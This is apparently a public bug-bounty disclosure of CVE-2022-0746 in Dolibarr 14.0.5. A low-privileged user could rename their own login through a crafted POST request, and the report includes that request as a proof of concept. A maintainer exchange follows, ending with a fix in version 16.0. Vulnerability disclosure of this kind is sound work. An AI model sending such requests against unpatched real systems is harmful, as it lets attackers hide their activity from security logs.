Business Logic Errors in dolibarr/dolibarr

0

Valid Reported on Feb 22nd 2022

Description

In Dolibarr v14.0.5, any low privileged users could update their login name which should only be updated by admin.

Proof of Concept

```
POST /dolibarr/user/card.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/201001
Referer: http://localhost/dolibarr/user/card.php?id=2&action=edit
Cookie: DOLSESSID_328fed74f1e6fdd21cc158ce6354602f=c56a7d101cf224887cb3453b

<SNIP><SNIP>

-----------------------------41959960127141598738026864888
Content-Disposition: form-data; name="action"

update
-----------------------------41959960127141598738026864888
Content-Disposition: form-data; name="login"

supernewname        // change to new unique login name here, new login name
-----------------------------41959960127141598738026864888
Content-Disposition: form-data; name="save"

Save
-----------------------------41959960127141598738026864888--
```

Impact

This vulnerability is capable of evading security events such as brute-force login attempts. Once login, the attacker could change the victim login to evade security event description for "Bad value for login or password - login=realusername"

CVE
CVE-2022-0746
(Published)

Vulnerability Type
CWE-840: Business Logic Errors

Severity
Medium (4.3)

Visibility
Public

Status
Fixed

Found by

Faisal Fs ⚔️
@faisalfs10x
unranked

Fixed by

Laurent Destailleur
@eldy
maintainer

This report was seen 503 times.

We are processing your report and will contact the **dolibarr** team within 24 hours. 9 months ago

Laurent 9 months ago

Chat with us

Having a user being able to edit his information (including his login) is the expected behaviour if

the user has permission "Create/modify his own user information".

Faisal Fs ⚔️ 9 months ago Researcher

I see, as I can't modify the login directly from the UI as it is readonly.

We have contacted a member of the **dolibarr** team and are waiting to hear back 9 months ago

Laurent 9 months ago Maintainer

You're right. May be not a real vulnerability but there is at least a non consistency behaviour with UI.
So i will fix it by disabling edit for non admin users on server side too (it was designed for but it is not a so interesting feature).

Laurent Destailleur validated this vulnerability 9 months ago

Faisal Fs ⚔️ has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Laurent Destailleur marked this as fixed in **16.0** with commit **497301** 9 months ago

Laurent Destailleur has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

Sign in to join this conversation